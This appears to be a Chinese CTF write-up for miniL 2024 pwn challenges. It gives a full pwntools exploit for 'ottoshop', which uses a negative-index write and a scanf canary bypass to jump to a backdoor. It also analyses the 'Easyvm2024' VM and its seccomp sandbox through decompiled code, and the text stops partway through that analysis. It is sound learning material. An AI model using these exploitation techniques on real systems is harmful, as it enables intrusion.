跳转至

miniL2024_pwn

pwn

ottoshop

ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-44h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  puts("Welcome to miniL pwn checkin!");
  puts("Here,a ♿ shop,have some magic ♿ for u ~");
  puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        scanf();
        if ( v4 != 666 )
          break;
        puts("u find it!");
        ottoottootto();
      }
    }
    while ( v4 > 666 );
    if ( v4 == 4 )
    {
      check();
    }
    else if ( v4 <= 4 )
    {
      switch ( v4 )
      {
        case 3:
          Golden();
          break;
        case 1:
          buy();
          break;
        case 2:
          change();
          break;
      }
    }
  }
}

unsigned __int64 buy()
{
  int a; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  a = 0;
  if ( money > 0 )
  {
    puts("which ♿ ?");
    scanf("%d", (int)&a);
    wheelchair[a] = 666;
    if ( a > 255 )
    {
      puts("? fxxk u!");
      exit(1);
    }
    puts("Give your ♿ a name!");
    read(0, (char *)&name + 4 * a, 4uLL);
    --money;
  }
  else
  {
    puts("NONONO..");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 Golden()
{
  int a; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  char v3[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  a = 0;
  if ( gold != 1 )
  {
    puts("NONONONO..");
    exit(1);
  }
  puts("Here are only 5 golden ♿..");
  puts("How many golden ♿ u want to buy?");
  scanf("%d", (int)&a);
  if ( a > 5 )
  {
    puts("U R Greedy!");
    exit(1);
  }
  for ( i = 0; i < a; ++i )
  {
    if ( money <= 14 )
    {
      puts("nononono..");
      return v4 - __readfsqword(0x28u);
    }
    puts(aUCanGiveYourGo);
    scanf("%ld", (int)&v3[8 * i]);
    money -= 15;
  }
  return v4 - __readfsqword(0x28u);
}

exp

from pwn import *
## from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./ottoshop')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def buy(idx,content):
    sla('5.exit\n',b'1')
    sl(str(idx))
    sa("name!",content)

p = connect()


backdoor = 0x402128

## set menory = 0x10000
buy(-90,p32(0x10000))

## set flag1 = /bin/sh
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))

## set gold = 1
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')


sla(b'5.exit\n',"3")

sla(b'want to buy?\n',"4")
for i in range(3):
    sla(b'passwd!',b'-')

sla(b'passwd!',str(backdoor).encode())




p.interactive()

game

啊这,这个game太抽象了一点都不好玩,不复现了

Easyvm2024

第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的

先mmap出来两个内存段,然后read opcode to memory,之后init_sandbox,start_vm这个函数开始处理opcode。

void __fastcall main(__int64 a1, char a2)
{
  int v2; // edx
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v9; // eax
  unsigned int v10; // [rsp+14h] [rbp-7Ch]
  int v11; // [rsp+18h] [rbp-78h]
  int v12; // [rsp+1Ch] [rbp-74h]
  Virtual_machine v13; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v14; // [rsp+88h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  setvbuf(off_4E4958, 0LL, 2LL, 0LL);
  setvbuf(off_4E4950, 0LL, 2LL, 0LL);
  setvbuf(off_4E4948, 0LL, 2LL, 0LL);
  if ( !(unsigned int)init_memory(&v13) && !(unsigned int)read_data_to_memory((__int64)&v13, 0x1000uLL, v2, v3, v4, v5) )
  {
    puts("VM code received:\n-------------------------------------------");
    v10 = 0;
    v11 = 1;
    v12 = 1;
    while ( v10 <= 0xFFF )
    {
      if ( v12 )
      {
        v9 = v11++;
        printf((unsigned int)"%03u: ", v9, v11, v6, v7, v8);
        v12 = 0;
      }
      if ( *(_BYTE *)(v13.input_data_addr + v10) == 10 )
        v12 = 1;
      if ( !*(_BYTE *)(v13.input_data_addr + v10) )
        break;
      putchar(*(unsigned __int8 *)(v13.input_data_addr + v10++));
    }
    puts("\n-------------------------------------------");
    if ( (unsigned int)init_sandbox() )
      perror("sandbox failed");
    else
      start_vm(&v13);
  }
}

__int64 __fastcall init_memory(_QWORD *a1)
{
  __int64 v2; // [rsp+18h] [rbp-18h]
  __int64 v3; // [rsp+20h] [rbp-10h]

  v2 = mmap64(0LL, 4096LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
  v3 = mmap64(539230208LL, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
  j_memset_ifunc(a1, 0LL, 104LL);
  a1[11] = v2;
  a1[12] = v3;
  if ( a1[11] && a1[12] )
  {
    j_memset_ifunc(a1[11], 0LL, 4096LL);
    j_memset_ifunc(a1[12], 0LL, 12288LL);
    a1[6] = -1LL;
    return 0LL;
  }
  else
  {
    perror("mmap failed");
    return 0xFFFFFFFFLL;
  }
}

__int64 __fastcall read_data_to_memory(__int64 a1, unsigned __int64 a2, int a3, int a4, int a5, int a6)
{
  unsigned __int64 i; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  printf((unsigned int)"Please input your code (max: %d), end with EOF:\n", 4096, a3, a4, a5, a6);
  if ( !*(_QWORD *)(a1 + 88) )
    return 0xFFFFFFFFLL;
  for ( i = 0LL; ; i += v8 )
  {
    if ( i >= a2 )
    {
      puts("Damn, too large!");
      return 0xFFFFFFFFLL;
    }
    v8 = read(0LL, i + *(_QWORD *)(a1 + 88), a2 - i);
    if ( !v8 )
      break;
  }
  if ( i )
  {
    *(_BYTE *)(*(_QWORD *)(a1 + 88) + i) = 0;
    return 0LL;
  }
  else
  {
    puts("Hold on, no code!");
    return 0xFFFFFFFFLL;
  }
}

__int64 init_sandbox()
{
  int v1; // r8d
  int v2; // r9d
  int v3; // r8d
  int v4; // r9d
  int v5; // r8d
  int v6; // r9d
  int v7; // r8d
  int v8; // r9d
  int v9; // r8d
  int v10; // r9d
  int v11; // r8d
  int v12; // r9d
  int v13; // r8d
  int v14; // r9d
  int v15; // r8d
  int v16; // r9d
  int v17; // r8d
  int v18; // r9d
  int v19; // r8d
  int v20; // r9d
  int v21; // r8d
  int v22; // r9d
  int v23; // r8d
  int v24; // r9d
  int v25; // r8d
  int v26; // r9d
  int v27; // r8d
  int v28; // r9d
  int v29; // r8d
  int v30; // r9d
  int v31; // r8d
  int v32; // r9d
  int v33; // r8d
  int v34; // r9d
  char v35; // [rsp+0h] [rbp-30h]
  char v36; // [rsp+0h] [rbp-30h]
  char v37; // [rsp+0h] [rbp-30h]
  char v38; // [rsp+0h] [rbp-30h]
  char v39; // [rsp+0h] [rbp-30h]
  char v40; // [rsp+0h] [rbp-30h]
  char v41; // [rsp+0h] [rbp-30h]
  char v42; // [rsp+0h] [rbp-30h]
  char v43; // [rsp+0h] [rbp-30h]
  char v44; // [rsp+0h] [rbp-30h]
  char v45; // [rsp+0h] [rbp-30h]
  char v46; // [rsp+0h] [rbp-30h]
  char v47; // [rsp+0h] [rbp-30h]
  char v48; // [rsp+0h] [rbp-30h]
  char v49; // [rsp+0h] [rbp-30h]
  char v50; // [rsp+0h] [rbp-30h]
  char v51; // [rsp+0h] [rbp-30h]
  int v52; // [rsp+4h] [rbp-2Ch]
  __int64 v53; // [rsp+8h] [rbp-28h]
  int v54; // [rsp+8h] [rbp-28h]
  int v55; // [rsp+8h] [rbp-28h]
  int v56; // [rsp+8h] [rbp-28h]
  int v57; // [rsp+8h] [rbp-28h]
  int v58; // [rsp+8h] [rbp-28h]
  int v59; // [rsp+8h] [rbp-28h]
  int v60; // [rsp+8h] [rbp-28h]
  int v61; // [rsp+8h] [rbp-28h]
  int v62; // [rsp+8h] [rbp-28h]
  int v63; // [rsp+8h] [rbp-28h]
  int v64; // [rsp+8h] [rbp-28h]
  int v65; // [rsp+8h] [rbp-28h]
  int v66; // [rsp+8h] [rbp-28h]
  int v67; // [rsp+8h] [rbp-28h]
  int v68; // [rsp+8h] [rbp-28h]
  __int64 v69; // [rsp+8h] [rbp-28h]

  v52 = open64("/dev/null", 0, v35);
  if ( v52 < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)madvise_1((unsigned int)v52, 0LL) < 0 )
    return 0xFFFFFFFFLL;
  close((unsigned int)v52);
  v53 = seccomp_init(2147418112LL);
  if ( !v53 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v53, 0, 59, 0, v1, v2, v36, v53) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v54, 0, 322, 0, v3, v4, v37, v54) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v55, 0, 57, 0, v5, v6, v38, v55) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v56, 0, 56, 0, v7, v8, v39, v56) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v57, 0, 435, 0, v9, v10, v40, v57) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v58, 0, 58, 0, v11, v12, v41, v58) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v59, 0, 62, 0, v13, v14, v42, v59) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v60, 0, 9, 0, v15, v16, v43, v60) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v61, 0, 11, 0, v17, v18, v44, v61) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v62, 0, 317, 0, v19, v20, v45, v62) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v63, 0, 157, 0, v21, v22, v46, v63) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v64, 0, 257, 0, v23, v24, v47, v64) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v65, 0, 85, 0, v25, v26, v48, v65) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v66, 0, 87, 0, v27, v28, v49, v66) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v67, 0, 86, 0, v29, v30, v50, v67) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v68, 0, 90, 0, v31, v32, v51, v68) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_rule_add_exact(v69, 0, 2, 1, v33, v34, 1, 0) < 0 )
    return 0xFFFFFFFFLL;
  if ( (int)seccomp_load(v69) >= 0 )
    return 0LL;
  return 0xFFFFFFFFLL;
}

这里read相关的这个函数处理的逻辑很奇怪,只有read的返回值为0才会往下走,搜索了一下 read只有读到一个eof才会返回0,因为这里read的逻辑,seccomp_tools 识别不出来沙箱的规则,所以需要使用ida去patch一下程序,在main函数的入口那 patch这样的逻辑

1
2
3
4
5
mov r15,seccomp_init_function_addr
call r15

seccomp_init_function:
jmp main_end

让程序一运行就把seccomp_init走一遍就能把沙箱的逻辑识别出来了,execve execveat被禁用了,有对x32 abi之类的使用做限制,大概率要打orw了 1714477266152

通过分析start_vm的逻辑和动调 尝试对start_vm做一些修复,重命名: 可以得知有 六个通用寄存器 名字分别是 REG0 - REG5 有一个PC寄存器 和一个flag寄存器 大概是这样一个结构体

00000000 Virtual_machine struc ; (sizeof=0x60, mappedto_18)
00000000 register0       dq ?
00000008 register1       dq ?
00000010 register2       dq ?
00000018 register3       dq ?
00000020 register4       dq ?
00000028 register5       dq ?
00000030 unknow1         dq ?
00000038 flags_register  dq ?
00000040 Instruction_type dq ?
00000048 pc_register     dq ?
00000050 error_code      dq ?
00000058 input_data_addr dq ?
00000060 Virtual_machine ends
重命名后的伪代码
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
__int64 __fastcall start_vm(Virtual_machine *virtual_machine)
{
  __int64 pc_register; // rbx
  __int64 v2; // rax
  __int64 v3; // rbx
  __int64 input_data_addr; // rsi
  __int64 v5; // rax
  char v6; // cl
  unsigned __int64 v7; // rax
  __int64 v8; // rsi
  __int64 v9; // rax
  char v10; // cl
  unsigned __int64 v11; // rax
  __int64 v12; // rsi
  __int64 v13; // rax
  char v14; // cl
  unsigned __int64 v15; // rax
  int v17; // edx
  int v18; // ecx
  int v19; // r8d
  int v20; // r9d
  __int64 v21; // rdx
  int v22; // ecx
  int v23; // r8d
  int v24; // r9d
  int v25; // ecx
  int v26; // r8d
  int v27; // r9d
  int v28; // edx
  int v29; // ecx
  int v30; // r8d
  int v31; // r9d
  int v32; // edx
  int v33; // ecx
  int v34; // r8d
  int v35; // r9d
  int v36; // edx
  int v37; // ecx
  int v38; // r8d
  int v39; // r9d
  int v40; // edx
  int v41; // ecx
  int v42; // r8d
  int v43; // r9d
  int v44; // edx
  int v45; // ecx
  int v46; // r8d
  int v47; // r9d
  int v48; // edx
  int v49; // ecx
  int v50; // r8d
  int v51; // r9d
  int i; // [rsp+14h] [rbp-BCh]
  __int64 v53; // [rsp+18h] [rbp-B8h]
  unsigned __int64 v54; // [rsp+20h] [rbp-B0h]
  unsigned __int64 v55; // [rsp+28h] [rbp-A8h]
  unsigned __int64 v56; // [rsp+30h] [rbp-A0h]
  unsigned __int64 Instruction_only_one_operand__first_operand_len; // [rsp+38h] [rbp-98h]
  unsigned __int64 Instruction_only_two_operand__first_operand_len; // [rsp+40h] [rbp-90h]
  unsigned __int64 Instruction_only_two_operand__second_operand_len; // [rsp+48h] [rbp-88h]
  unsigned __int64 v60; // [rsp+50h] [rbp-80h]
  unsigned __int64 v61; // [rsp+50h] [rbp-80h]
  unsigned __int64 v62; // [rsp+50h] [rbp-80h]
  unsigned __int64 v63; // [rsp+50h] [rbp-80h]
  unsigned __int64 v64; // [rsp+50h] [rbp-80h]
  unsigned __int64 v65; // [rsp+50h] [rbp-80h]
  unsigned __int64 v66; // [rsp+50h] [rbp-80h]
  unsigned __int64 v67; // [rsp+50h] [rbp-80h]
  unsigned __int64 v68; // [rsp+50h] [rbp-80h]
  unsigned __int64 v69; // [rsp+50h] [rbp-80h]
  unsigned __int64 v70; // [rsp+50h] [rbp-80h]
  unsigned __int64 v71; // [rsp+50h] [rbp-80h]
  unsigned __int64 v72; // [rsp+50h] [rbp-80h]
  unsigned __int64 v73; // [rsp+50h] [rbp-80h]
  unsigned __int64 v74; // [rsp+58h] [rbp-78h]
  unsigned __int64 v75; // [rsp+58h] [rbp-78h]
  unsigned __int64 v76; // [rsp+58h] [rbp-78h]
  unsigned __int64 v77; // [rsp+58h] [rbp-78h]
  unsigned __int64 v78; // [rsp+58h] [rbp-78h]
  unsigned __int64 v79; // [rsp+58h] [rbp-78h]
  unsigned __int64 v80; // [rsp+58h] [rbp-78h]
  unsigned __int64 v81; // [rsp+58h] [rbp-78h]
  unsigned __int64 v82; // [rsp+58h] [rbp-78h]
  unsigned __int64 v83; // [rsp+58h] [rbp-78h]
  __int64 *v84; // [rsp+60h] [rbp-70h]
  __int64 v85[4]; // [rsp+70h] [rbp-60h] BYREF
  __int64 v86[7]; // [rsp+90h] [rbp-40h] BYREF

  v86[5] = __readfsqword(0x28u);
  v53 = 0LL;
  memset(v85, 0, sizeof(v85));
  memset(v86, 0, 32);
LABEL_193:
  while ( virtual_machine->pc_register <= 0xFFFuLL )
  {
    while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t'
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\n'
          || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\r')
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
      ++virtual_machine->pc_register;           // pc寄存器跳过指令序列中的' ' '\n' '\r' '\t'
    for ( i = 0; (&instruction_list)[3 * i]; ++i )
    {
      pc_register = virtual_machine->pc_register;
      if ( (unsigned __int64)(pc_register + j_wcsncmp_ifunc((&instruction_list)[3 * i])) <= 0xFFF )
      {
        v2 = j_wcsncmp_ifunc((&instruction_list)[3 * i]);
        if ( !(unsigned int)j_strncmp_ifunc(
                              virtual_machine->pc_register + virtual_machine->input_data_addr,
                              (&instruction_list)[3 * i],
                              v2) )
        {
          virtual_machine->Instruction_type = (__int64)(&instruction_list)[3 * i + 1];
          v3 = virtual_machine->pc_register;
          virtual_machine->pc_register = v3 + j_wcsncmp_ifunc((&instruction_list)[3 * i]);
          break;
        }
        virtual_machine->Instruction_type = 20LL;
      }
    }
    if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)1 )
    {
      j_memset_ifunc(v85, 0LL, 32LL);
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      for ( Instruction_only_one_operand__first_operand_len = 0LL;
            *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
         && Instruction_only_one_operand__first_operand_len <= 0x1E// 单个操作数的指令序列第一个操作数长度不超过 0x1E
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
         && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n';
            ++Instruction_only_one_operand__first_operand_len )
      {
        input_data_addr = virtual_machine->input_data_addr;
        v5 = virtual_machine->pc_register;
        virtual_machine->pc_register = v5 + 1;
        v6 = *(_BYTE *)(input_data_addr + v5);
        v7 = Instruction_only_one_operand__first_operand_len;
        *((_BYTE *)v85 + v7) = v6;
      }
      *((_BYTE *)v85 + Instruction_only_one_operand__first_operand_len) = 0;
      if ( !Instruction_only_one_operand__first_operand_len )
        goto Error_about_Miss_oprand;
    }
    else if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)2 )
    {
      j_memset_ifunc(v85, 0LL, 32LL);
      j_memset_ifunc(v86, 0LL, 32LL);
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      Instruction_only_two_operand__first_operand_len = 0LL;
      while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && Instruction_only_two_operand__first_operand_len <= 0x1E
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
      {
        v8 = virtual_machine->input_data_addr;
        v9 = virtual_machine->pc_register;
        virtual_machine->pc_register = v9 + 1;
        v10 = *(_BYTE *)(v8 + v9);
        v11 = Instruction_only_two_operand__first_operand_len++;
        *((_BYTE *)v85 + v11) = v10;
      }
      *((_BYTE *)v85 + Instruction_only_two_operand__first_operand_len) = 0;
      if ( !Instruction_only_two_operand__first_operand_len )
        goto Error_about_Miss_oprand;
      while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
            || *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
        ++virtual_machine->pc_register;
      Instruction_only_two_operand__second_operand_len = 0LL;
      while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
           && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
           && Instruction_only_two_operand__second_operand_len <= 0x1E
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
           && *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
      {
        v12 = virtual_machine->input_data_addr;
        v13 = virtual_machine->pc_register;
        virtual_machine->pc_register = v13 + 1;
        v14 = *(_BYTE *)(v12 + v13);
        v15 = Instruction_only_two_operand__second_operand_len++;
        *((_BYTE *)v86 + v15) = v14;
      }
      *((_BYTE *)v86 + Instruction_only_two_operand__second_operand_len) = 0;
      if ( !Instruction_only_two_operand__second_operand_len )
      {
Error_about_Miss_oprand:
        virtual_machine->error_code = 2LL;
        puts("ERROR: Miss oprand!");
        return virtual_machine->error_code;
      }
    }
    while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n'
         && (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
      ++virtual_machine->pc_register;
    ++virtual_machine->pc_register;
    switch ( virtual_machine->Instruction_type )
    {
      case 0LL:                                 // NOP
        goto LABEL_193;
      case 1LL:                                 // LOAD REG0 address
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v60 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v60 > 5 )
          goto Error_about_invalid_register;
        v84 = (__int64 *)atoi(v86, 0LL, 16LL);
        if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
          goto Error_about_invalid_address;
        if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
          goto LABEL_76;
        *(&virtual_machine->register0 + v60) = *v84;
        goto LABEL_193;
      case 2LL:                                 // STORE REG0 address
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v74 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v74 > 5 )
          goto Error_about_invalid_register;
        v84 = (__int64 *)atoi(v86, 0LL, 16LL);
        if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
        {
Error_about_invalid_address:
          virtual_machine->error_code = 4LL;
          printf((unsigned int)"ERROR: Invalid address: %#lx!\n", (_DWORD)v84, v17, v18, v19, v20);
          return virtual_machine->error_code;
        }
        if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
        {
LABEL_76:
          virtual_machine->error_code = 4LL;
          printf((unsigned int)"ERROR: Invalid memory access: %lx!\n", (_DWORD)v84, v17, v18, v19, v20);
          return virtual_machine->error_code;
        }
        *v84 = *(&virtual_machine->register0 + v74);
        goto LABEL_193;
      case 3LL:                                 // MOV REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v61 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v61 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v75 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v75 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v61) = *(&virtual_machine->register0 + v75);
        goto LABEL_193;
      case 4LL:                                 // ADD REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v62 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v62 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v76 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v76 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v62) += *(&virtual_machine->register0 + v76);
        goto LABEL_193;
      case 5LL:                                 // SUB REG0 REG1
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v63 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v63 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v77 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v77 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v63) -= *(&virtual_machine->register0 + v77);
        goto LABEL_193;
      case 6LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v64 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v64 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v78 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v78 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v64) *= *(&virtual_machine->register0 + v78);
        goto LABEL_193;
      case 7LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v65 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v65 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v79 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v79 > 5 )
          goto Error_about_invalid_register;
        if ( !*(&virtual_machine->register0 + v79) )
        {
          virtual_machine->error_code = 5LL;
          puts("ERROR: Divide by zero!");
          return virtual_machine->error_code;
        }
